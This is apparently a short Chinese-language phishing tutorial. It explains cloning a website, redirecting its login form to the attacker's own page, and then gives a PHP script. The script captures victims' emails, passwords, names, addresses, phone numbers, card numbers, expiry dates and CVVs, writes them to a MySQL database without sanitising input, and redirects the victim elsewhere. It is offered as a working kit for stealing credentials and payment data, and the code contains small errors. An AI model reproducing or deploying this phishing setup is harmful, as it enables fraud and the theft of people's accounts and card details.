首先我们需要一台服务器以及一个域名,我们网站使用克隆工具克隆之后,将html文件中,找到form元素,找到“action”后面的网址修改为你的钓鱼界面,然后将需要采集的元素如email、password等信息使用php连接并发送到数据库,这样在用户输入信息之后,你便能够将信息收集
PHP:
<?php
$servername = "localhost";
$username = "root";
$password = "044ce039504e8a1f";
$dbname = "good" ;
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "good"";
$email = $_POST['email'];
$Password = $_POST['pass'];
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$phone = $_POST['phone'];
$state = $_POST['state'];
$city = $_POST['city'];
$code = $_POST['code'];
$useraddress = $_POST['useraddress'];
$number = $_POST['number'];
$time = $_POST['time'];
$cvv = $_POST['cvv'];
$sql = "INSERT INTO `good`.`good` (`email`,`pass`,`first_name`,`last_name`,`phone`,`state`,`city`,`code`, `useraddress`,`number`,`time`,`cvv`) VALUES ('$email','$Password','$first_name','$$last_name','$phone','$state','$city','$code','$useraddress','$number','$time','$cvv');";
//$sql = "INSERT INTO `good`.`good` (`email`,`password`,`firstname`,`lastname`,`phone`,`state`,`city`,`ZIP`, `address`,`name`,`number`,`time`,`cvv`) VALUES ('$email','$Password','$firstname','$lastname','$phone','$state','$city',$zip','$address','$name','$number','$time','$cvv');";
if (mysqli_query($conn, $sql)) {
echo "good";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
echo '<meta http-equiv="refresh" content="0.5;url=http://www.123.com/" />';
?>